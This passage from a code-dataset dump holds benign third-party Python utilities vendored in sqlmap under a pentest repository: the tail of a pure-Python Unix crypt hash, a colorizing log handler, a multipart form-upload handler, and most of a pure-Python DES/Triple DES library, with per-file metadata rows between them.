0x30)] | skbc3[((c>>20) & 0x01) | ((c>>21) & 0x06) | ((c>>22) & 0x38)] ) t = ( skbd0[ d & 0x3f ] | skbd1[((d>> 7) & 0x03) | ((d>> 8) & 0x3c)] | skbd2[((d>>15) & 0x3f) ] | skbd3[((d>>21) & 0x0f) | ((d>>22) & 0x30)] ) k[2*i] = ((t << 16) | (s & 0x0000ffff)) & 0xffffffff s = (s >> 16) | (t & 0xffff0000) # Top bit of s may be 1. s = (s << 4) | ((s >> 28) & 0x0f) k[2*i + 1] = s & 0xffffffff return k def _body(ks, E0, E1): """Use the key schedule ks and salt E0, E1 to create the password hash.""" # Copy global variable into locals for loop. SP0, SP1, SP2, SP3, SP4, SP5, SP6, SP7 = _SPtrans inner = xrange(0, _ITERATIONS*2, 2) l = r = 0 for j in xrange(25): l,r = r,l for i in inner: t = r ^ ((r >> 16) & 0xffff) u = t & E0 t = t & E1 u = u ^ (u << 16) ^ r ^ ks[i] t = t ^ (t << 16) ^ r ^ ks[i+1] t = ((t >> 4) & 0x0fffffff) | (t << 28) l,r = r,(SP1[(t ) & 0x3f] ^ SP3[(t>> 8) & 0x3f] ^ SP5[(t>>16) & 0x3f] ^ SP7[(t>>24) & 0x3f] ^ SP0[(u ) & 0x3f] ^ SP2[(u>> 8) & 0x3f] ^ SP4[(u>>16) & 0x3f] ^ SP6[(u>>24) & 0x3f] ^ l) l = ((l >> 1) & 0x7fffffff) | ((l & 0x1) << 31) r = ((r >> 1) & 0x7fffffff) | ((r & 0x1) << 31) r,l = _PERM_OP(r, l, 1, 0x55555555) l,r = _PERM_OP(l, r, 8, 0x00ff00ff) r,l = _PERM_OP(r, l, 2, 0x33333333) l,r = _PERM_OP(l, r, 16, 0x0000ffff) r,l = _PERM_OP(r, l, 4, 0x0f0f0f0f) return l,r def crypt(password, salt): """Generate an encrypted hash from the passed password. If the password is longer than eight characters, only the first eight will be used. The first two characters of the salt are used to modify the encryption algorithm used to generate in the hash in one of 4096 different ways. The characters for the salt should be upper- and lower-case letters A to Z, digits 0 to 9, '.' and '/'. The returned hash begins with the two characters of the salt, and should be passed as the salt to verify the password. Example: >>> from fcrypt import crypt >>> password = 'AlOtBsOl' >>> salt = 'cE' >>> hash = crypt(password, salt) >>> hash 'cEpWz5IUCShqM' >>> crypt(password, hash) == hash 1 >>> crypt('IaLaIoK', hash) == hash 0 In practice, you would read the password using something like the getpass module, and generate the salt randomly: >>> import random, string >>> saltchars = string.letters + string.digits + './' >>> salt = random.choice(saltchars) + random.choice(saltchars) Note that other ASCII characters are accepted in the salt, but the results may not be the same as other versions of crypt. In particular, '_', '$1' and '$2' do not select alternative hash algorithms such as the extended passwords, MD5 crypt and Blowfish crypt supported by the OpenBSD C library. """ # Extract the salt. if len(salt) == 0: salt = 'AA' elif len(salt) == 1: salt = salt + 'A' Eswap0 = _con_salt[ord(salt[0]) & 0x7f] Eswap1 = _con_salt[ord(salt[1]) & 0x7f] << 4 # Generate the key and use it to apply the encryption. ks = _set_key((password + '\0\0\0\0\0\0\0\0')[:8]) o1, o2 = _body(ks, Eswap0, Eswap1) # Extract 24-bit subsets of result with bytes reversed. t1 = (o1 << 16 & 0xff0000) | (o1 & 0xff00) | (o1 >> 16 & 0xff) t2 = (o1 >> 8 & 0xff0000) | (o2 << 8 & 0xff00) | (o2 >> 8 & 0xff) t3 = (o2 & 0xff0000) | (o2 >> 16 & 0xff00) # Extract 6-bit subsets. r = [ t1 >> 18 & 0x3f, t1 >> 12 & 0x3f, t1 >> 6 & 0x3f, t1 & 0x3f, t2 >> 18 & 0x3f, t2 >> 12 & 0x3f, t2 >> 6 & 0x3f, t2 & 0x3f, t3 >> 18 & 0x3f, t3 >> 12 & 0x3f, t3 >> 6 & 0x3f ] # Convert to characters. for i in xrange(len(r)): r[i] = _cov_2char[r[i]] return salt[:2] + string.join(r, '') def _test(): """Run doctest on fcrypt module.""" import doctest, fcrypt return doctest.testmod(fcrypt) if __name__ == '__main__': _test()
26,648
Python
.py
538
43.95539
79
0.705374
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,180
ansistrm.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/ansistrm/ansistrm.py
# # Copyright (C) 2010-2012 Vinay Sajip. All rights reserved. Licensed under the new BSD license. # import logging import os import re from lib.core.convert import stdoutencode class ColorizingStreamHandler(logging.StreamHandler): # color names to indices color_map = { 'black': 0, 'red': 1, 'green': 2, 'yellow': 3, 'blue': 4, 'magenta': 5, 'cyan': 6, 'white': 7, } # levels to (background, foreground, bold/intense) if os.name == 'nt': level_map = { logging.DEBUG: (None, 'blue', False), logging.INFO: (None, 'green', False), logging.WARNING: (None, 'yellow', False), logging.ERROR: (None, 'red', False), logging.CRITICAL: ('red', 'white', False) } else: level_map = { logging.DEBUG: (None, 'blue', False), logging.INFO: (None, 'green', False), logging.WARNING: (None, 'yellow', False), logging.ERROR: (None, 'red', False), logging.CRITICAL: ('red', 'white', False) } csi = '\x1b[' reset = '\x1b[0m' disable_coloring = False @property def is_tty(self): isatty = getattr(self.stream, 'isatty', None) return isatty and isatty() and not self.disable_coloring def emit(self, record): try: message = stdoutencode(self.format(record)) stream = self.stream if not self.is_tty: if message and message[0] == "\r": message = message[1:] stream.write(message) else: self.output_colorized(message) stream.write(getattr(self, 'terminator', '\n')) self.flush() except (KeyboardInterrupt, SystemExit): raise except IOError: pass except: self.handleError(record) if os.name != 'nt': def output_colorized(self, message): self.stream.write(message) else: ansi_esc = re.compile(r'\x1b\[((?:\d+)(?:;(?:\d+))*)m') nt_color_map = { 0: 0x00, # black 1: 0x04, # red 2: 0x02, # green 3: 0x06, # yellow 4: 0x01, # blue 5: 0x05, # magenta 6: 0x03, # cyan 7: 0x07, # white } def output_colorized(self, message): import ctypes parts = self.ansi_esc.split(message) write = self.stream.write h = None fd = getattr(self.stream, 'fileno', None) if fd is not None: fd = fd() if fd in (1, 2): # stdout or stderr h = ctypes.windll.kernel32.GetStdHandle(-10 - fd) while parts: text = parts.pop(0) if text: write(text) if parts: params = parts.pop(0) if h is not None: params = [int(p) for p in params.split(';')] color = 0 for p in params: if 40 <= p <= 47: color |= self.nt_color_map[p - 40] << 4 elif 30 <= p <= 37: color |= self.nt_color_map[p - 30] elif p == 1: color |= 0x08 # foreground intensity on elif p == 0: # reset to default color color = 0x07 else: pass # error condition ignored ctypes.windll.kernel32.SetConsoleTextAttribute(h, color) def colorize(self, message, record): if record.levelno in self.level_map and self.is_tty: bg, fg, bold = self.level_map[record.levelno] params = [] if bg in self.color_map: params.append(str(self.color_map[bg] + 40)) if fg in self.color_map: params.append(str(self.color_map[fg] + 30)) if bold: params.append('1') if params and message: if message.lstrip() != message: prefix = re.search(r"\s+", message).group(0) message = message[len(prefix):] else: prefix = "" message = "%s%s" % (prefix, ''.join((self.csi, ';'.join(params), 'm', message, self.reset))) return message def format(self, record): message = logging.StreamHandler.format(self, record) return self.colorize(message, record)
4,843
Python
.py
129
24.031008
95
0.47109
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,181
multipartpost.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/multipart/multipartpost.py
#!/usr/bin/env python """ 02/2006 Will Holcomb <wholcomb@gmail.com> Reference: http://odin.himinbi.org/MultipartPostHandler.py This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ import mimetools import mimetypes import os import stat import StringIO import sys import urllib import urllib2 from lib.core.exception import SqlmapDataException class Callable: def __init__(self, anycallable): self.__call__ = anycallable # Controls how sequences are uncoded. If true, elements may be given # multiple values by assigning a sequence. doseq = 1 class MultipartPostHandler(urllib2.BaseHandler): handler_order = urllib2.HTTPHandler.handler_order - 10 # needs to run first def http_request(self, request): data = request.get_data() if data is not None and type(data) != str: v_files = [] v_vars = [] try: for(key, value) in data.items(): if isinstance(value, file) or hasattr(value, 'file') or isinstance(value, StringIO.StringIO): v_files.append((key, value)) else: v_vars.append((key, value)) except TypeError: systype, value, traceback = sys.exc_info() raise SqlmapDataException, "not a valid non-string sequence or mapping object", traceback if len(v_files) == 0: data = urllib.urlencode(v_vars, doseq) else: boundary, data = self.multipart_encode(v_vars, v_files) contenttype = 'multipart/form-data; boundary=%s' % boundary #if (request.has_header('Content-Type') and request.get_header('Content-Type').find('multipart/form-data') != 0): # print "Replacing %s with %s" % (request.get_header('content-type'), 'multipart/form-data') request.add_unredirected_header('Content-Type', contenttype) request.add_data(data) return request def multipart_encode(vars, files, boundary = None, buf = None): if boundary is None: boundary = mimetools.choose_boundary() if buf is None: buf = '' for (key, value) in vars: buf += '--%s\r\n' % boundary buf += 'Content-Disposition: form-data; name="%s"' % key buf += '\r\n\r\n' + value + '\r\n' for (key, fd) in files: file_size = os.fstat(fd.fileno())[stat.ST_SIZE] if isinstance(fd, file) else fd.len filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1] contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' buf += '--%s\r\n' % boundary buf += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename) buf += 'Content-Type: %s\r\n' % contenttype # buf += 'Content-Length: %s\r\n' % file_size fd.seek(0) buf = str(buf) buf += '\r\n%s\r\n' % fd.read() buf += '--%s--\r\n\r\n' % boundary return boundary, buf multipart_encode = Callable(multipart_encode) https_request = http_request
3,866
Python
.py
81
39
129
0.629955
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,182
pyDes.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/pydes/pyDes.py
############################################################################# # Documentation # ############################################################################# # Author: Todd Whiteman # Date: 16th March, 2009 # Verion: 2.0.0 # License: Public Domain - free to do as you wish # Homepage: http://twhiteman.netfirms.com/des.html # # This is a pure python implementation of the DES encryption algorithm. # It's pure python to avoid portability issues, since most DES # implementations are programmed in C (for performance reasons). # # Triple DES class is also implemented, utilising the DES base. Triple DES # is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key. # # See the README.txt that should come with this python module for the # implementation methods used. # # Thanks to: # * David Broadwell for ideas, comments and suggestions. # * Mario Wolff for pointing out and debugging some triple des CBC errors. # * Santiago Palladino for providing the PKCS5 padding technique. # * Shaya for correcting the PAD_PKCS5 triple des CBC errors. # """A pure python implementation of the DES and TRIPLE DES encryption algorithms. Class initialization -------------------- pyDes.des(key, [mode], [IV], [pad], [padmode]) pyDes.triple_des(key, [mode], [IV], [pad], [padmode]) key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes for Triple DES mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. Length must be 8 bytes. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during all encrypt/decrpt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) to use during all encrypt/decrpt operations done with this instance. I recommend to use PAD_PKCS5 padding, as then you never need to worry about any padding issues, as the padding can be removed unambiguously upon decrypting data that was encrypted using PAD_PKCS5 padmode. Common methods -------------- encrypt(data, [pad], [padmode]) decrypt(data, [pad], [padmode]) data -> Bytes to be encrypted/decrypted pad -> Optional argument. Only when using padmode of PAD_NORMAL. For encryption, adds this characters to the end of the data block when data is not a multiple of 8 bytes. For decryption, will remove the trailing characters that match this pad character from the last 8 bytes of the unencrypted data block. padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL or PAD_PKCS5). Defaults to PAD_NORMAL. Example ------- from pyDes import * data = "Please encrypt my data" k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) # For Python3, you'll need to use bytes, i.e.: # data = b"Please encrypt my data" # k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) d = k.encrypt(data) print "Encrypted: %r" % d print "Decrypted: %r" % k.decrypt(d) assert k.decrypt(d, padmode=PAD_PKCS5) == data See the module source (pyDes.py) for more examples of use. You can also run the pyDes.py file without and arguments to see a simple test. Note: This code was not written for high-end systems needing a fast implementation, but rather a handy portable solution with small usage. """ import sys # _pythonMajorVersion is used to handle Python2 and Python3 differences. _pythonMajorVersion = sys.version_info[0] # Modes of crypting / cyphering ECB = 0 CBC = 1 # Modes of padding PAD_NORMAL = 1 PAD_PKCS5 = 2 # PAD_PKCS5: is a method that will unambiguously remove all padding # characters after decryption, when originally encrypted with # this padding mode. # For a good description of the PKCS5 padding technique, see: # http://www.faqs.org/rfcs/rfc1423.html # The base class shared by des and triple des. class _baseDes(object): def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): if IV: IV = self._guardAgainstUnicode(IV) if pad: pad = self._guardAgainstUnicode(pad) self.block_size = 8 # Sanity checking of arguments. if pad and padmode == PAD_PKCS5: raise ValueError("Cannot use a pad character with PAD_PKCS5") if IV and len(IV) != self.block_size: raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") # Set the passed in variables self._mode = mode self._iv = IV self._padding = pad self._padmode = padmode def getKey(self): """getKey() -> bytes""" return self.__key def setKey(self, key): """Will set the crypting key for this object.""" key = self._guardAgainstUnicode(key) self.__key = key def getMode(self): """getMode() -> pyDes.ECB or pyDes.CBC""" return self._mode def setMode(self, mode): """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" self._mode = mode def getPadding(self): """getPadding() -> bytes of length 1. Padding character.""" return self._padding def setPadding(self, pad): """setPadding() -> bytes of length 1. Padding character.""" if pad is not None: pad = self._guardAgainstUnicode(pad) self._padding = pad def getPadMode(self): """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" return self._padmode def setPadMode(self, mode): """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" self._padmode = mode def getIV(self): """getIV() -> bytes""" return self._iv def setIV(self, IV): """Will set the Initial Value, used in conjunction with CBC mode""" if not IV or len(IV) != self.block_size: raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") IV = self._guardAgainstUnicode(IV) self._iv = IV def _padData(self, data, pad, padmode): # Pad data depending on the mode if padmode is None: # Get the default padding mode. padmode = self.getPadMode() if pad and padmode == PAD_PKCS5: raise ValueError("Cannot use a pad character with PAD_PKCS5") if padmode == PAD_NORMAL: if len(data) % self.block_size == 0: # No padding required. return data if not pad: # Get the default padding. pad = self.getPadding() if not pad: raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.") data += (self.block_size - (len(data) % self.block_size)) * pad elif padmode == PAD_PKCS5: pad_len = 8 - (len(data) % self.block_size) if _pythonMajorVersion < 3: data += pad_len * chr(pad_len) else: data += bytes([pad_len] * pad_len) return data def _unpadData(self, data, pad, padmode): # Unpad data depending on the mode. if not data: return data if pad and padmode == PAD_PKCS5: raise ValueError("Cannot use a pad character with PAD_PKCS5") if padmode is None: # Get the default padding mode. padmode = self.getPadMode() if padmode == PAD_NORMAL: if not pad: # Get the default padding. pad = self.getPadding() if pad: data = data[:-self.block_size] + \ data[-self.block_size:].rstrip(pad) elif padmode == PAD_PKCS5: if _pythonMajorVersion < 3: pad_len = ord(data[-1]) else: pad_len = data[-1] data = data[:-pad_len] return data def _guardAgainstUnicode(self, data): # Only accept byte strings or ascii unicode values, otherwise # there is no way to correctly decode the data into bytes. if _pythonMajorVersion < 3: if isinstance(data, unicode): data = data.encode('utf8') else: if isinstance(data, str): # Only accept ascii unicode values. try: return data.encode('ascii') except UnicodeEncodeError: pass raise ValueError("pyDes can only work with encoded strings, not Unicode.") return data ############################################################################# # DES # ############################################################################# class des(_baseDes): """DES encryption/decrytpion class Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. pyDes.des(key,[mode], [IV]) key -> Bytes containing the encryption key, must be exactly 8 bytes mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. Must be 8 bytes in length. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during all encrypt/decrpt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) to use during all encrypt/decrpt operations done with this instance. """ # Permutation and translation tables for DES __pc1 = [56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 ] # number left rotations of pc1 __left_rotations = [ 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 ] # permuted choice key (table 2) __pc2 = [ 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 ] # initial permutation IP __ip = [57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7, 56, 48, 40, 32, 24, 16, 8, 0, 58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6 ] # Expansion table for turning 32 bit blocks into 48 bits __expansion_table = [ 31, 0, 1, 2, 3, 4, 3, 4, 5, 6, 7, 8, 7, 8, 9, 10, 11, 12, 11, 12, 13, 14, 15, 16, 15, 16, 17, 18, 19, 20, 19, 20, 21, 22, 23, 24, 23, 24, 25, 26, 27, 28, 27, 28, 29, 30, 31, 0 ] # The (in)famous S-boxes __sbox = [ # S1 [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], # S2 [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], # S3 [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], # S4 [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], # S5 [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], # S6 [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], # S7 [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], # S8 [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], ] # 32-bit permutation function P used on the output of the S-boxes __p = [ 15, 6, 19, 20, 28, 11, 27, 16, 0, 14, 22, 25, 4, 17, 30, 9, 1, 7, 23,13, 31, 26, 2, 8, 18, 12, 29, 5, 21, 10, 3, 24 ] # final permutation IP^-1 __fp = [ 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25, 32, 0, 40, 8, 48, 16, 56, 24 ] # Type of crypting being done ENCRYPT = 0x00 DECRYPT = 0x01 # Initialisation def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): # Sanity checking of arguments. if len(key) != 8: raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") _baseDes.__init__(self, mode, IV, pad, padmode) self.key_size = 8 self.L = [] self.R = [] self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16) self.final = [] self.setKey(key) def setKey(self, key): """Will set the crypting key for this object. Must be 8 bytes.""" _baseDes.setKey(self, key) self.__create_sub_keys() def __String_to_BitList(self, data): """Turn the string data, into a list of bits (1, 0)'s""" if _pythonMajorVersion < 3: # Turn the strings into integers. Python 3 uses a bytes # class, which already has this behaviour. data = [ord(c) for c in data] result = [False] * len(data) * 8 pos = 0 for ch in data: result[pos + 0] = (ch & (1 << 7) != 0) result[pos + 1] = (ch & (1 << 6) != 0) result[pos + 2] = (ch & (1 << 5) != 0) result[pos + 3] = (ch & (1 << 4) != 0) result[pos + 4] = (ch & (1 << 3) != 0) result[pos + 5] = (ch & (1 << 2) != 0) result[pos + 6] = (ch & (1 << 1) != 0) result[pos + 7] = (ch & (1 << 0) != 0) pos += 8 return result def __BitList_to_String(self, data): """Turn the list of bits -> data, into a string""" result = [0] * (len(data) >> 3) pos = 0 while pos < len(data): c = data[pos + 0] << (7 - 0) c += data[pos + 1] << (7 - 1) c += data[pos + 2] << (7 - 2) c += data[pos + 3] << (7 - 3) c += data[pos + 4] << (7 - 4) c += data[pos + 5] << (7 - 5) c += data[pos + 6] << (7 - 6) c += data[pos + 7] << (7 - 7) result[pos >> 3] = c pos += 8 if _pythonMajorVersion < 3: return ''.join([ chr(c) for c in result ]) else: return bytes(result) def __permutate(self, table, block): """Permutate this block with the specified table""" #return map(lambda x: block[x], table) return list(block[x] for x in table) # Transform the secret key, so that it is ready for data processing # Create the 16 subkeys, K[1] - K[16] def __create_sub_keys(self): """Create the 16 subkeys K[1] to K[16] from the given key""" key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) i = 0 # Split into Left and Right sections self.L = key[:28] self.R = key[28:] while i < 16: j = 0 # Perform circular left shifts while j < des.__left_rotations[i]: self.L.append(self.L[0]) del self.L[0] self.R.append(self.R[0]) del self.R[0] j += 1 # Create one of the 16 subkeys through pc2 permutation self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) i += 1 # Main part of the encryption algorithm, the number cruncher :) def __des_crypt(self, block, crypt_type): """Crypt the block of data through DES bit-manipulation""" block = self.__permutate(des.__ip, block) Bn = [0] * 32 self.L = block[:32] self.R = block[32:] # Encryption starts from Kn[1] through to Kn[16] if crypt_type == des.ENCRYPT: iteration = 0 iteration_adjustment = 1 # Decryption starts from Kn[16] down to Kn[1] else: iteration = 15 iteration_adjustment = -1 i = 0 while i < 16: # Make a copy of R[i-1], this will later become L[i] tempR = self.R[:] # Permutate R[i - 1] to start creating R[i] self.R = self.__permutate(des.__expansion_table, self.R) # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here self.R = map(lambda x, y: x ^ y, self.R, self.Kn[iteration]) B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] # Optimization: Replaced below commented code with above #j = 0 #B = [] #while j < len(self.R): # self.R[j] = self.R[j] ^ self.Kn[iteration][j] # j += 1 # if j % 6 == 0: # B.append(self.R[j-6:j]) # Permutate B[1] to B[8] using the S-Boxes j = 0 pos = 0 while j < 8: # Work out the offsets m = (B[j][0] << 1) + B[j][5] n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] # Find the permutation value v = des.__sbox[j][(m << 4) + n] # Turn value into bits, add it to result: Bn Bn[pos] = (v & 8) >> 3 Bn[pos + 1] = (v & 4) >> 2 Bn[pos + 2] = (v & 2) >> 1 Bn[pos + 3] = v & 1 pos += 4 j += 1 # Permutate the concatination of B[1] to B[8] (Bn) self.R = self.__permutate(des.__p, Bn) # Xor with L[i - 1] self.R = map(lambda x, y: x ^ y, self.R, self.L) # Optimization: This now replaces the below commented code #j = 0 #while j < len(self.R): # self.R[j] = self.R[j] ^ self.L[j] # j += 1 # L[i] becomes R[i - 1] self.L = tempR i += 1 iteration += iteration_adjustment # Final permutation of R[16]L[16] self.final = self.__permutate(des.__fp, self.R + self.L) return self.final # Data to be encrypted/decrypted def crypt(self, data, crypt_type): """Crypt the data in blocks, running it through des_crypt()""" # Error check the data if not data: return '' if len(data) % self.block_size != 0: if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") if not self.getPadding(): raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character") else: data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() # print "Len of data: %f" % (len(data) / self.block_size) if self.getMode() == CBC: if self.getIV(): iv = self.__String_to_BitList(self.getIV()) else: raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") # Split the data into blocks, crypting each one seperately i = 0 dict = {} result = [] #cached = 0 #lines = 0 while i < len(data): # Test code for caching encryption results #lines += 1 #if dict.has_key(data[i:i+8]): #print "Cached result for: %s" % data[i:i+8] # cached += 1 # result.append(dict[data[i:i+8]]) # i += 8 # continue block = self.__String_to_BitList(data[i:i+8]) # Xor with IV if using CBC mode if self.getMode() == CBC: if crypt_type == des.ENCRYPT: block = map(lambda x, y: x ^ y, block, iv) #j = 0 #while j < len(block): # block[j] = block[j] ^ iv[j] # j += 1 processed_block = self.__des_crypt(block, crypt_type) if crypt_type == des.DECRYPT: processed_block = map(lambda x, y: x ^ y, processed_block, iv) #j = 0 #while j < len(processed_block): # processed_block[j] = processed_block[j] ^ iv[j] # j += 1 iv = block else: iv = processed_block else: processed_block = self.__des_crypt(block, crypt_type) # Add the resulting crypted block to our list #d = self.__BitList_to_String(processed_block) #result.append(d) result.append(self.__BitList_to_String(processed_block)) #dict[data[i:i+8]] = d i += 8 # print "Lines: %d, cached: %d" % (lines, cached) # Return the full crypted string if _pythonMajorVersion < 3: return ''.join(result) else: return bytes.fromhex('').join(result) def encrypt(self, data, pad=None, padmode=None): """encrypt(data, [pad], [padmode]) -> bytes data : Bytes to be encrypted pad : Optional argument for encryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be encrypted with the already specified key. Data does not have to be a multiple of 8 bytes if the padding character is supplied, or the padmode is set to PAD_PKCS5, as bytes will then added to ensure the be padded data is a multiple of 8 bytes. """ data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) data = self._padData(data, pad, padmode) return self.crypt(data, des.ENCRYPT) def decrypt(self, data, pad=None, padmode=None): """decrypt(data, [pad], [padmode]) -> bytes data : Bytes to be encrypted pad : Optional argument for decryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be decrypted with the already specified key. In PAD_NORMAL mode, if the optional padding character is supplied, then the un-encrypted data will have the padding characters removed from the end of the bytes. This pad removal only occurs on the last 8 bytes of the data (last data block). In PAD_PKCS5 mode, the special padding end markers will be removed from the data after decrypting. """ data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) data = self.crypt(data, des.DECRYPT) 